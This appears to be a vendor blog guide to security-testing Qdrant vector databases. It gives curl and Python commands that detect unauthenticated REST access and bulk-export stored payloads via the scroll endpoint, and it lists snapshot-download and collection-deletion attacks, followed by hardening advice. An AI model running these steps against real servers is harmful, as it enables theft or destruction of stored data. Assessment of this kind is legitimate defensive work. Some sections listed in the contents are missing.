Vector Database Security

Qdrant Security Testing: Unauthenticated REST API, Collection Enumeration, and Vector Snapshot Download

📅 July 3, 2026 ⏱ 13 min read 🏷 Qdrant, Vector Database Security, RAG Security, AI Application Security

Qdrant is a high-performance vector database written in Rust, increasingly deployed as the vector store backend for RAG systems, recommendation engines, and semantic search applications. Its default security configuration exposes significant risk: the HTTP REST API on port 6333 and gRPC API on port 6334 require no authentication out of the box — any client with network access can list all collections (revealing what data the application stores), retrieve stored vectors with their attached payload fields (which typically contain source document text, URLs, metadata, and user identifiers), create and delete collections, and download full collection snapshots; the built-in web UI at port 6333/dashboard exposes collection statistics and allows browsing stored points without authentication; API key authentication, added in Qdrant 1.2, is disabled by default and when enabled passes the key in the api-key header that is commonly logged by reverse proxies; and Qdrant's distributed cluster mode exposes additional gRPC ports for inter-node communication. This guide covers systematic Qdrant security assessment.

Qdrant Discovery and API Testing
Collection Enumeration and Data Access
Vector Payload Exfiltration
Full Database Snapshot Download
gRPC Interface Testing
Qdrant Security Hardening

Qdrant Discovery and API Testing

# Qdrant default ports:
# 6333 — HTTP REST API + Web UI (/dashboard)
# 6334 — gRPC API

# Check Qdrant version (no auth required)
curl -s http://qdrant.example.com:6333/ 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print(f\"Qdrant {d.get('version','?')} status={d.get('status','?')}\")" 2>/dev/null

# Verify unauthenticated access to collections
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
  http://qdrant.example.com:6333/collections 2>/dev/null)
if [ "$HTTP_CODE" = "200" ]; then
  echo "VULNERABLE: Collections accessible without authentication"
else
  echo "Auth required (HTTP $HTTP_CODE)"
fi

Vector Payload Exfiltration

# Qdrant stores vectors with attached payload (metadata/text) — these are exfiltrated
# via the scroll or search endpoints

# Scroll through all points in a collection (paginated bulk export)
COLLECTION="documents"
curl -s -X POST \
  "http://qdrant.example.com:6333/collections/${COLLECTION}/points/scroll" \
  -H "Content-Type: application/json" \
  -d '{
    "limit": 100,
    "with_payload": true,
    "with_vector": false
  }' 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
result = data.get('result', {})
points = result.get('points', [])
print(f'Points retrieved: {len(points)}')
for p in points[:5]:
    payload = p.get('payload', {})
    print(f\"  id={p.get('id')} payload_keys={list(payload.keys())}\")
    for k,v in list(payload.items())[:3]:
        print(f\"    {k}: {str(v)[:100]}\")
next_page = result.get('next_page_offset')
if next_page:
    print(f'Next page token: {next_page} — more data available')
" 2>/dev/null

Qdrant Security Hardening

Qdrant Security Hardening Checklist:

Enable API key authentication — set service.api_key in the Qdrant config file or QDRANT__SERVICE__API_KEY environment variable; without this, all data is publicly readable
Enable read-only API key — use service.read_only_api_key for clients that only need to query; prevents unauthorized collection modification or deletion
Restrict ports 6333 and 6334 to internal networks — never expose Qdrant to the internet without authentication; vector payloads contain the source documents your RAG system processes
Enable TLS — configure tls.cert and tls.key to encrypt REST and gRPC traffic; prevents API key interception by reverse proxy logs
Disable the web UI in production — set service.enable_static_content=false or restrict /dashboard access via reverse proxy to authorized users only
Restrict snapshot endpoints — implement network-level controls to prevent unauthorized collection snapshot creation and download
Audit payload fields for sensitive data — review what metadata your application stores as vector payloads; avoid storing PII, credentials, or raw document text if not required for retrieval
Use Qdrant Cloud with workspace isolation — for multi-team environments, Qdrant Cloud provides per-workspace authentication and access controls

Security Test	Method	Risk
REST API accessible without authentication	GET /collections — lists all collections and point counts without credentials	High
Vector payload bulk exfiltration	POST /collections/{name}/points/scroll with_payload=true — exports all stored metadata and source text	High
Full collection snapshot download	POST /collections/{name}/snapshots — creates downloadable snapshot of entire collection	High
Collection deletion without auth	DELETE /collections/{name} — permanently deletes a collection and all its vectors	High
Web UI exposes collection browser without auth	Browse http://host:6333/dashboard — view collection statistics and sample vectors	Medium
gRPC API accessible without auth on port 6334	Connect with Qdrant gRPC client — performs collection and point operations without API key	High

Automate Qdrant Security Testing

Ironimo tests Qdrant deployments for unauthenticated REST API access on port 6333 allowing collection enumeration and vector payload exfiltration, full collection snapshot creation and download without authorization, collection deletion by unauthorized clients, web UI accessible without authentication exposing data browsing, gRPC API on port 6334 unauthenticated, and API key transmission over unencrypted HTTP logged by reverse proxy infrastructure.

Start free scan

Table of Contents

Qdrant Discovery and API Testing

Vector Payload Exfiltration

Qdrant Security Hardening

Automate Qdrant Security Testing